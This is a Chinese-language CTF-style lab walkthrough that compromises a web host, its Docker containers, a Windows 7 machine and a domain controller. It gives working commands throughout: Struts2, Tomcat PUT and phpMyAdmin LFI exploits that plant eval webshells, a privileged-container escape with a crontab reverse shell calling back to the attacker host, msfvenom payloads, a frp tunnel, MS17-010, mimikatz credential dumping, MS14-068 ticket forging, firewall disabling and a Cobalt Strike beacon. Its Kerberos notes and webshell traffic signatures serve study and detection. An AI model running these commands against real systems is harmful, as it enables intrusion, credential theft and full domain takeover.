仅用于网络安全研究，请遵守网络安全法
# 一、环境拓扑

靶场下载地址

kali:192.168.111.9
win7:192.168.183.2
WEB:192.168.111.14 192.168.183.3
DC:192.168.183.130

二、打点

2.1 主机探测

nmap -Pn 192.168.111.0/24

2.2 端口探测

nmap -p- -sT -sV -T4 192.168.111.14

2.3 服务探针

2.3.1 struts2(2001端口)


看到是一个文件上传点，尝试上传，但是没啥用，但是可以看到是struct2框架(这个老旧的框架，直接历史漏洞试试)

  • 历史漏洞工具探测


    ok，成功RCE，上传一个webshell，冰蝎生成木马，连接成功
  • 反弹到msf上
  • 收集收集信息，有什么东西(发现是个docker容器)

2.3.2 struts2流量特征

2.3.3 tomcat(2002端口)


看到上面的界面的思路：1.历史漏洞 2.弱口令(尝试无果)

查找一下该版本有没有漏洞，找到CVE-2017-12615的任意文件上传漏洞
影响版本：
Apache Tomcat 7.0.0 - 7.0.79
Apache Tomcat 8.5.19

尝试修改数据包的类型，201发现成功了，PUT一些内容看看


成功回显，继续上传，内容为一句话木马jsp

404，不让上传，估计是过滤，试试绕过，加个%20

成功了，访问一看被解析成文本了

再尝试绕过，换成/

ok，成功连接webshell

  • 信息收集，发现依旧是docker容器

2.3.4 phpmyadmin(2003端口)


直接都不需要登录就进来了。。。
看到版本信息为4.8.1，上网查找有可利用的漏洞(CVE-2018-12613)
漏洞详细：CVE-2018-12613 本地文件包含漏洞复现+漏洞分析 - 先知社区 (aliyun.com)

可以文件包含，没有文件操作权限
show global variables like 'secure_file_priv';

日志看看开关，show global variables like "general_log%";

  • 文件包含指向session
    select '<?php phpinfo();?>';执行，提取phpmyadmin的session
    http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_session
    成功，可以得到网站的绝对路径，可以尝试利用PHPmyadmin的日志写shell
    红日靶场-1，这里cve漏洞的
    写入webshellselect '<?php file_put_contents("shell.php","<?php @eval(\$_POST[1]);?>");?>';

    ok利用成功
    http://192.168.111.14:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_1af8af5dd8f3b3838033b457aacc8fcd

    连接成功，webshell到手
  • 依旧是docker

2.3.5 蚁剑流量特征



  • 每次重新连接都换UA头(可以自定义)
  • 很明显的@ini_set….php设置参数
  • 命令执行有eval、base64等

2.3.6 哥斯拉php流量特征


  • UA头可自定义，但是Accept特征较为明显
  • cookie后面有个分号

2.3.7 冰蝎4.1流量特征


上图中写错了，是冰蝎4.1

  • 每次连接换UA，但是Accept特征较为明显

2.4 docker逃逸

前面确定了都是docker，必须逃出来才能拿到物理机的权限

2.4.1 判断是否容器

  1. msf去run
    run post/linux/gather/checkcontainer
  2. 检查根目录下是否存在.dockerenv文件
  3. 根据IP判断，一般容器IP为172开头(不一定)
  4. 确定是特权模式启动的docker
    cat /proc/self/status|grep CapEff
    CapEff 对应的掩码值为：0000003fffffffff 可以用privilege特权模式逃逸

2.4.2 docker逃逸

  1. 脏牛dirty cow内核实现逃逸—-CVE-2016-5195
    脏牛提权
  2. docker自身软件的漏洞—-CVE-2019-5736
    docker逃逸漏洞复现（CVE-2019-5736） - FreeBuf网络安全行业门户
  3. 特权模式逃逸
  • structs2的未发现挂载

    fdisk -l 命令，可以查看系统中所有硬盘的分区情况，包括分区的大小、类型、起始位置等信息。
  • tomcat的有回显

    特权模式逃逸
    创建一个文件夹，将宿主机根目录挂载至容器目录下
    mkdir /test 容器内创建一个目录
    mount /dev/sda1 /tset 将宿主机根目录挂载至容器目录下
    挂载成功且可以看到读取不同的/etc/passwd内容不同

    SSH公钥写入
    kali生成私钥ssh-keygen -f will,写入到挂载的主机ssh里
    cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys —— avx连权限一起复制过去
    echo 'will.pub内容' >> /test/home/ubuntu/.ssh/authorized_keys
    写入了，但是连接依旧需要密码

    crontab计划任务
    1
    2
    3
    echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.111.9/9999 0>&1" >> /test/tmp/shell.sh
    chmod +x /test/tmp/shell.sh
    echo '*/2 * * * * root  bash /tmp/shell.sh' > /test/etc/crontab

    成功逃逸，且拿到的是root权限，那就不需要提权了，如果是低权限，上传信息收集脚本提权，SUID或者内核等等

三、内网渗透

3.1 信息收集

内网网段，ping一下发现不通

3.1.1 先把linux反弹到msf上

生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.111.9 LPORT=1234 -f elf -o ./1
python3启一个web，python3 -m http.server 80 -d .

3.1.2 上传fscan扫

upload /root/fscan /tmp
./fscan -h 192.168.183.0/24

三台存活192.168.183.2、192.168.183.3、192.168.183.130存活
192.168.183.3是web(已拿下)

有MS17-010，打一下试试

3.2 添加frp代理隧道

  • kali运行服务端./frps
    1
    2
    3
    frps.ini
    [common]
    bind_port = 7000
  • 靶机linux运行客户端./frpc
    1
    2
    3
    4
    5
    6
    7
    [common]
    server_addr = 192.168.111.9
    server_port = 7000
    [plugin_socks5]
    type = tcp
    remote_port = 7777
    plugin = socks5
  • 服务端启动
  • 客户端启动

    配置proxychain
    vi /etc/proxychain.conf
    socks5 127.0.0.1 7777
    测试数据:proxychain curl 192.168.183.3:2001

3.3 msf添加全局代理

1
2
3
4
5
6
search ms17-010
use 0
setg proxies socks5:127.0.0.1:7777  	设置msf的全局代理
set payload windows/x64/meterpreter/bind_tcp	不出网走正向连接
set rhost 192.168.183.2					目标win7
run

3.3.1 攻击win7


win7拿下，但是域控不行，换方法

3.3.2 在win7收集信息

1
2
load  kiwi
creds_all			抓取密码


域用户凭据：douser DEMO Dotest123

3.3.3 看下远程桌面


开启远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
proxychains rdesktop 192.168.183.2 代理上远程

啧啧，这个设置问题，一般是可以进去的
导致这个的原因：
客户端加入域后，域服务器重装系统，导致客户端的旧账户无法生效。
解决办法1：

  1. 用本地管理员登陆到计算机
  2. 打开计算机属性，在计算机名选项卡上点击”更改”，然后点击”其他”
  3. 将”此计算机住DNS后缀”清空，注销后就可以登陆到域
    解决办法2(暴力)：
  4. 退域重启，再加入域
    实战情况下，我们可以考虑其他办法：
  5. 添加账户(推荐)
  6. 使用现有账户，这里演示这种(一般选administrator，权限高，方便后续)


    成功连接
    当前登录的用户有两个query user

3.3.4 ms14-068攻击域控

上传mimikatz 抓密码
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit >> shash.txt

可以看到用户的SID，或者通过MSF进程迁移执行whoami/user

现在有的信息：域用户的明文密码、SID值
目的：攻击域控
利用Kerberos域用户提权漏洞（MS14-068;CVE-2014-6324)来获得域控权限
MS14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 生成票据

可以通过mimikatz.exe "kerberos::purge" exit 清除票据，再把票据注入到内存中
mimikatz.exe "kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache" exit
票据注入内存
查看是否成功

OK，成功拿下，有cmd了 ，操作可就多了，开3389 加用户，改密码等等。。。

为了方便管理，回弹shell到msf，生成一个正向木马，上传
msfvenom -p windows/meterpreter/bind_tcp LPORT=1444 -f exe -o /root/2.exe

copy 2.exe \\WIN-ENS2VR5TR3N.demo.com\c$上传到域控c盘
执行，但是正向连接不了

思考一下什么问题呢，不用猜了，肯定是防护，看看防火墙状态(全关动静太大，可以加指定规则)
netsh firewall show state 查看防火墙状态

  • 直接关掉netsh advfirewall set allprofiles state off

    这种情况，大多是木马不兼容的问题，重新生成一个
    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1444 -f exe -o /root/2.exe
    重复之前的操作，上传运行

    域控拿下
  • 开放指定端口规则的
    netsh advfirewall firewall add rule name="Allow Port 1444 Inbound" dir=in action=allow protocol=TCP localport=1444
    验证是否添加成功
    netsh advfirewall firewall show rule name="Allow Port 1444 Inbound"

3.4 三台主机全部拿下

四、总结与扩展

4.1 攻击思路梳理

  1. 通过探针不同的服务，扩大攻击面，利用不同的漏洞，通过不同的漏洞可以学习一下漏洞特征和工具的一些特征
  2. 进入docker容器，没接触过，只能上网查，学习到逃逸的思路
  3. 之前打点都是windows边界，这次是linux，也算是扩展一下思路，其实差不多(扩展探讨Linux上线CS)
  4. 内网信息收集，代理隧道的搭建
  5. 明确自己目的是啥，目前有的条件是啥(实验中有体现)
  6. 利用ms14-068(域控没有打MS14-068的补丁(KB3011780))

4.2 工具链接

  1. Ms14-068.exe 下载地址
  2. PSexec 下载地址
  3. mimikatz 下载地址

4.3 Kerberos协议

参考理解：
Kerberos协议认证过程（理论篇） - FreeBuf网络安全行业门户

4.3.1 Kerberos认证流程

KDC（Key Distributed Centre）:密钥分发中心，由以下两部分组成

  • AS（Authentication Server）:认证服务器，认证通过给你TGT
  • TGS（Ticket Granting Server）:票证发放服务器,通过你的TGT来发放ST
    TGT（Ticket Granting Ticket）：授予票证
    ST（Service Ticket）：服务票据
    Client：访问特定资源的客户
    Server：拥有特定资源的主机

krbtgt是KDC的账号，密码是随机生成的，无法登陆
（KDC存着所有用户的账号和密码）
可以使用以下语句查询net user krbtgt

  • Client与AS的交互
    双向认证，AS确认客户不是伪造的客户，客户确认AS不是伪造的AS
    客户端把自己个人信息发给AS，AS验证客户ID是不是在自己的KDC数据库中
    AS检查到客户端没问题，然后随机生成一个TGS-SessionKey
    AS给客户端发送：
  1. 用客户端的NTML HASH加密TGS-SessionKey之后发送给客户端
  2. AS将客户端个人信息（客户ID，需要访问的服务ID，IP地址，时间戳，存活时间和TGS-SessionKey）用TGS(krbtgt账户)的NTML HASH加密打包成一个TGT发给客户
    客户端接收到之后，使用自身的NTML HASH解密得到TGS-SessionKey，但是无法解密TGT(没有krbtgt账户的NTML HASH)
  • Client与TGS的交互
    客户端将上面的TGT+TGS-SessionKey加密的Authenticator(包含了客户ID和时间戳)发送给TGS
    TGS利用自己的NTML HASH解密TGT，得到TGS-SessionKey，再去解密Authenticator信息，然后比对一下Authenticator中的客户ID和TGT中的客户ID是否相等，比较来自 Authenticator 的时间戳和TGT的时间戳，检查TGT有没有过期，检查Authenticator是否已经在TGS的缓存中，验证通过后，TGS随机生成一个Key（包含了客户ID和时间戳），用于加密后续客户端和服务端的通信数据，这个key就是Service-SessionKey，将这个Service-SessionKey用TGS-SessionKey加密，以及将客户ID、服务ID、IP地址、时间戳、存活时间和TGS-SessionKey用服务的密钥加密打包成ST（服务票据），然后将这两个发给客户端

客户端拿到ST，ST无法解密，因为解密他的密钥只有服务才有，客户端有TGS-SessionKey所以可以解密Service-SessionKey

  • Client与Service的交互
    客户将ST以及使用Service-SessionKey加密的个人信息Authenticator（包含客户ID和时间戳）发送给Service，然后Service利用自身密钥解密出ST，然后用ST中的Service-SessionKey去解密加密的Authenticator获取他的客户ID，然后比较两个ID是否相等，比较来自 Authenticator 的时间戳和来自ST的时间戳 ，检查 Authenticator 是否已经在对应服务的服务器的缓存中

到此为止，所有的认证过程通过，客户端即可与远程服务完成了身份认证，可以进行后续的信息通信

4.3.2 PAC

PAC（Privilege Attribute Certificate，特权属性证书），是为了区分不同权限的客户。

PAC包含两个数字签名PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM，以及客户的SID和客户所在的组，
第一个PAC_SERVER_CHECKSUM是由服务的NTLM HASH加密的
第二个PAC_PRIVSVR_CHECKSUM是KDC(krbtgt)的NTLM HASH加密的

PAC在第一步过程中被放在TGT中，然后返回给客户端
在第二步过程中客户端发送自己的TGT给TGS，TGS会验证PAC（其实就是验证两个数字签名）是否被篡改，然后重新构造新的PAC放在ST中返回给客户
在第三步过程中将客户的ST发送给服务端，让服务端进行验证，服务端用自身密钥解密ST后，然后用ST中的Service-SessionKey去解密加密的Authenticator获取他的客户ID
然后比较两个ID是否相等，比较来自 Authenticator 的时间戳和ST的时间戳 (典型的 Kerberos 系统对差异的容忍度是 2 分钟，但也可以另行配置)，检查ST是否过期（根据ST里面的存活时间字段判断），检查 Authenticator 是否已经在对应服务的服务器的缓存中（不检查TGS缓存的话，那么如果TGS缓存中有Authenticator，会导致刷新TGS缓冲中的Authenticator，从而篡改客户ID和时间戳，导致重放攻击）
检查完毕后，服务为了判断客户是否有合法的权限，需要将客户的信息传递给KDC， KDC通过客户的信息判断客户所属的用户组信息， 用户权限等，然后KDC将结果返回给服务，服务利用结果（客户所属的用户组信息，用户权限等）与客户所索取的资源的ACL（Access Control List，权限控制列表，这个列表记录了哪个用户哪个用户组可以访问此资源）对比，判断客户是否有权限访问此资源。

4.4 Linux上线CS

项目地址

  • CS服务端是什么就下载什么类型
  • 下载好之后需要查看自己的CS版本是否符合该项目的条件(CS4.0自测不行，CS4.8可以)
  • 启动服务端，客户端连接并加载插件
  • 客服端生成https的监听器
  • 创建反向监听
  • 生成payload命令
  • 在日志终端复制生成命令到CS服务端执行生成
    genCrossC2.Linux CS的IP地址 监听器的端口 ./.cobaltstrike.beacon_keys null Linux x64 1.out
  • 将其木马生成放置到已取权限的主机执行上线